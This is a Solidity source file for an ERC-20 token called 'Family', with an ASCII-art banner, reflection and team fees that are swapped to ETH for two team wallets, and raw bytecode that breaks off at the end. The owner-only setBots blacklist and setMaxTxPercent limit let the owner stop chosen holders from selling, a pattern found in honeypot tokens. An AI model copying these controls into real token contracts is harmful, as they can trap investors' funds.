@@@@WWMxn#+;,:ii:,:i*ii***+##zznnnnnnz;..;;ii**+;;;:,,:;*##+*iiiiiiiiiiii**iiiii+z#zzni:;*+nxnznxWn**ii;;i;;;,:*xxxnnx##+*;;:;;*+*;,,,,,,,;*#[email protected]@@@ @@@WWMxz#i:;ii;,:i*****#+##zznnnnnnn#i#xMMxxxxnn*:::::i+#++********+++++###zzznnxnzz#z+iii*#nzznMWnznnxxxxMxxn#*izxxxxxxnz#**i*#*+#i:,,,,,,;*#[email protected]@@ @@WWMxz+;:i*i::i*+++++##zznnnxxxxxxz++nnz###+++++;,,,:;;;;iii*+++++##zzznnxnzznxn+;;;;iiii*#nxnnMW#++++###zzxMWWM*#xMMMxxMMxn+*++**i;:::,,,,:[email protected]@ @WWMnz*;;*+i;i*+++++##znnnxxxxxxnxzz*nz######++*+*:,,,,,:;ii*++###zznxxz#z#znMM#i::::i*+++#zxMMxMW+*+++#####zzzzn#+#MMMMxxxxMMxnz+**ii;;::::::;*[email protected] WWxn#i;;++i;i+####zzznnxxnnnnxMMxxz*#n####++***ii*i:,::i**++#zzzznnxnz#+#nxMx#i::::;i+#zznnnnMMMMWiii***++###zzzzn*#nMMxxxMMxxxnxxz+*iiii;;:;;:;i#nxMW Mxn+ii*#+*i*+####zznnxxxxxxnxMMMxn#in#+++****iiiii#iii*+##zznnz##zzz###nxWM#i;;;ii++#zznnnnnznMMWniiii****+++##zzn#*#xMMxxMxxxxxn#xxzz#i**ii;i;;;;+nxM xn+*+###***#zzzzznnxxxMMMMMMMMMMMnizz********iii;;+#**#zznnnnzzznnnzznxWWx#*ii*++###zzzzzz##znMMW#iiii*****+++++#zn++zMMMMMxxnxxxMn#xnz++#+**iii;;i+zx z+##zz#++zzzzznnnxxxMMMMMMWWWWMMn+*z+******i*iii;;;#*[email protected]+++*****++#z##+++znxMMMiiiii******++++++zz*znMxxMxMxxMxnnz++ii+*++**++*iii*z #zzzn##zzznnnnxxxMMMMMMWWWWWWWWzziz#**i***ii*iii;;;i#znxMxnnxxxxxnxMWWWWMxnnzzzzzznnnzz###nnnxMW#;;;iii******++**+#z+*zMMMxnxMxMxn#nz+*+##++*++++****+ nnznzzz##nnnxxxMMMMMMWWWWWWWWWWn*+z+i;i***;i*iii;;::*nMWWMMMxxxxxMWMxnnnnnznxxxxxxxxnnnnnnnxxxMW;;;;;ii****ii++*ii##zizzMxMxxnnxxnzn+*++znz##+++##++++ xxnnnz#nnxxxxMMMMMWWWWWWWWWWWWnzin#*::i+*i;*iii;;;::;;[email protected]#@@@[email protected]###@WMxnnzzzzzzzzzzzznxxxxxxxxMx:;;:;ii*****i+++i;*#z#*znxMMxn++zzn#++#####+#z+#+zz##+ [email protected]@@Wzi#z+;,;*+*;i*iii;;;::;;[email protected]@#############@@WMxxnnnnnxxxxxxxMMMxMW*:;;;:ii*****i*+#*;:+#n*#nMMnzz+++++#z++++zz#znnzz##zz# z#[email protected]@@@@@@n#*n#*,:*++*;iiiii;;;::;;[email protected]@@@################@WMxxxxxMMMMWWWxn#i;;;;;;ii*****ii+##i,i##zizxxzz#*####+#z####n#zznx####zz [email protected]@@@@@@@@@Wniz##:,i*++i;iiii;;;;::;;[email protected]@@@####################@[email protected]@@#;::::;;;;;;;;i******i+##+:,+#z*#znzzzz#z####z#z#+##zzz##+#### [email protected]@@@@@@@@@@@@@x+*n#i,;*+++;;iiiii;;;::;;[email protected]@@@###########################+;::::;;;;;;;;i******i*+##i,;##zinznnnzz#zzz####nz#z##+zzzz#zz [email protected]@@@@@@@@@@@@@@@@Wniz#+::i+++*;iiiii;;;;::;;[email protected]@@@####@@######@@#############+;::::;;;;;;;;ii*******+##+;,*#n+#zxnnnnnzzzz##+#zzzzn#+zzzzzn [email protected]@@@@@@@@@@@@@@@@@@@n++n#;,;*+++i;iiiii;;;;::;:[email protected]@@@@@@#@@@@####@###@@@#######*;:::;;;;;;;;;ii*******+###*::##n*xnxnnn#znzz#*+znxMxx##zzznnx [email protected]@@@@@@@@@@@@@@@@@@@@Mnin#+,:*+*+*ii**iii;;;:::;:[email protected]@[email protected]@@@@#####@[email protected]@@#@WMW########i;:::::;;;;;;iii*****+i+####;,i#z+#zxx*,:;znnxxzxxMxMMxnznnnxM [email protected]@@@@@@@@@@@@@@@@@@@@@@n+#z#*,;++***;iiiii;;:::::::[email protected]@@[email protected]@@@@@####@[email protected]@########Wi;::::::::;;;;;ii****+**####+,:##z*nzz,,i*MMxMMxxMxMWWWWxxxxMM @@@@@@@@@@@@@@@@@@@@@@@@@xnin+zi:****iiii;;;::;;::::::[email protected]@[email protected]@@@[email protected]###@WMW###########M*;::,,,:::::::;;;;iii****++++;,+#z+#zz::*[email protected]@WWWWMMMMMWxWWxzWMM @@@@@@@@@@@@@[email protected]@@@@@@@@@z+###z+****i*++##[email protected]@@[email protected]##@[email protected]############Mznzzzz###+*i::::::;;ii**+++#+;#n#z*nnM*;[email protected]@@@@WWWWMMWMMWMnMMM @@@@@@@@@@@@@@@@@@@@@@@@xzi#+++*i;;i+#####++****ii*i;:[email protected]@@@[email protected]@####z+**i;;;;i;;:::;iii;::::iii**#zn#z+##Mx#[email protected]@@@[email protected]@WWWxWWnnMWWWW @@@@@@@@@@@@@@@@@@@@@@@WMnzzzznnnzz##z#####++++++++**[email protected]@@[email protected]@###M#+++++**+++###zzzznnxnz+#zzzzznnnn#[email protected]@@@@[email protected]@[email protected]@W @@@@@@@@@@@@@@@@@@@@@@@WMMxnnnnz#+##+*+****iii*znz##**MxxxxxxxxxMMMMMWWWWMMMMMMWW###@@[email protected]@Wiii;;::::::::;ii******[email protected]@@@@@@@@@[email protected]@@@ @@@@@@@@###@###@@@@@WMnzz##zz##*;ii;;i****i;;;ii;;:::;[email protected]#####*;:;;;;;;;;;;iiii;i;;;;i*++:izznxMMx#[email protected]@@@@@@@@@@@@@[email protected]@WW @###@######@WWMxnnzznnnnnxx++zz#*;i*++++++***iii;:,,,*[email protected]@@@#@#####xiiiiiiii***++++########+*i*#zn####+*[email protected]@@@@@@[email protected]@#@W ######@@WWMMWMMMMMMMMMMxMxMn#+nzzz#++###zzz#######+*[email protected]@[email protected]@@@##@@#####@++++++++++++#####zz###+#zznzn#zxMnn+**[email protected]@#@ ###@@[email protected]@@@@@@WWMWWWMxxxxMMxz#znzzzzzzzzz#####+++####[email protected]@##@@@@[email protected]#####@@####zznnnxxnnzzzzzznnnnnnzznnnnnn#[email protected]## ###@[email protected]@WWWMxxxMMMMMx#zz####+++******iiii;;;:[email protected]@[email protected]@[email protected]@#########+*++++****++++######zzzzzz#[email protected]@@ ##[email protected]@WMnxxMMMxxz+*i;;;:::::::::::::::::,,[email protected]@@@[email protected]@##@;;;;;;;;;;;;;;iii***+++++++#z#[email protected]@x */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Family is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Family Token_T.me/FFFamilyToken"; string private constant _symbol = "Family"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 8; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 8; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (10 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues( tAmount, _taxFee, _teamFee ); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tTeam, currentRate ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ed1565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129f4565b61045e565b6040516101789190612eb6565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613073565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129a5565b61048b565b6040516101e09190612eb6565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612917565b610564565b005b34801561021e57600080fd5b50610227610654565b60405161023491906130e8565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a71565b61065d565b005b34801561027257600080fd5b5061027b61070f565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612917565b610781565b6040516102b19190613073565b60405180910390f35b3480156102c657600080fd5b506102cf6107d2565b005b3480156102dd57600080fd5b506102e6610925565b6040516102f39190612de8565b60405180910390f35b34801561030857600080fd5b5061031161094e565b60405161031e9190612ed1565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129f4565b61098b565b60405161035b9190612eb6565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a30565b6109a9565b005b34801561039957600080fd5b506103a2610af9565b005b3480156103b057600080fd5b506103b9610b73565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ac3565b6110cc565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612969565b611213565b6040516104189190613073565b60405180910390f35b60606040518060400160405280601f81526020017f46616d696c7920546f6b656e5f542e6d652f464646616d696c79546f6b656e00815250905090565b600061047261046b61129a565b84846112a2565b6001905092915050565b600066038d7ea4c68000905090565b600061049884848461146d565b610559846104a461129a565b610554856040518060600160405280602881526020016137ac60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a61129a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2c9092919063ffffffff16565b6112a2565b600190509392505050565b61056c61129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f090612fb3565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066561129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e990612fb3565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075061129a565b73ffffffffffffffffffffffffffffffffffffffff161461077057600080fd5b600047905061077e81611c90565b50565b60006107cb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d8b565b9050919050565b6107da61129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610867576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085e90612fb3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f46616d696c790000000000000000000000000000000000000000000000000000815250905090565b600061099f61099861129a565b848461146d565b6001905092915050565b6109b161129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3590612fb3565b60405180910390fd5b60005b8151811015610af5576001600a6000848481518110610a89577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aed90613389565b915050610a41565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3a61129a565b73ffffffffffffffffffffffffffffffffffffffff1614610b5a57600080fd5b6000610b6530610781565b9050610b7081611df9565b50565b610b7b61129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bff90612fb3565b60405180910390fd5b600f60149054906101000a900460ff1615610c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4f90613033565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ce630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1666038d7ea4c680006112a2565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2c57600080fd5b505afa158015610d40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d649190612940565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc657600080fd5b505afa158015610dda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dfe9190612940565b6040518363ffffffff1660e01b8152600401610e1b929190612e03565b602060405180830381600087803b158015610e3557600080fd5b505af1158015610e49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6d9190612940565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef630610781565b600080610f01610925565b426040518863ffffffff1660e01b8152600401610f2396959493929190612e55565b6060604051808303818588803b158015610f3c57600080fd5b505af1158015610f50573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f759190612aec565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555066038d7ea4c680006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611076929190612e2c565b602060405180830381600087803b15801561109057600080fd5b505af11580156110a4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c89190612a9a565b5050565b6110d461129a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611161576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115890612fb3565b60405180910390fd5b600081116111a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119b90612f73565b60405180910390fd5b6111d160646111c38366038d7ea4c680006120f390919063ffffffff16565b61216e90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516112089190613073565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611312576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130990613013565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990612f33565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114609190613073565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d490612ff3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561154d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154490612ef3565b60405180910390fd5b60008111611590576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158790612fd3565b60405180910390fd5b611598610925565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160657506115d6610925565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6957600f60179054906101000a900460ff1615611839573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e25750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561173c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183857600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178261129a565b73ffffffffffffffffffffffffffffffffffffffff1614806117f85750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e061129a565b73ffffffffffffffffffffffffffffffffffffffff16145b611837576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182e90613053565b60405180910390fd5b5b5b60105481111561184857600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ec5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a0e5750600f60179054906101000a900460ff165b15611aaf5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a5e57600080fd5b600a42611a6b91906131a9565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aba30610781565b9050600f60159054906101000a900460ff16158015611b275750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b3f5750600f60169054906101000a900460ff165b15611b6757611b4d81611df9565b60004790506000811115611b6557611b6447611c90565b5b505b505b600060019050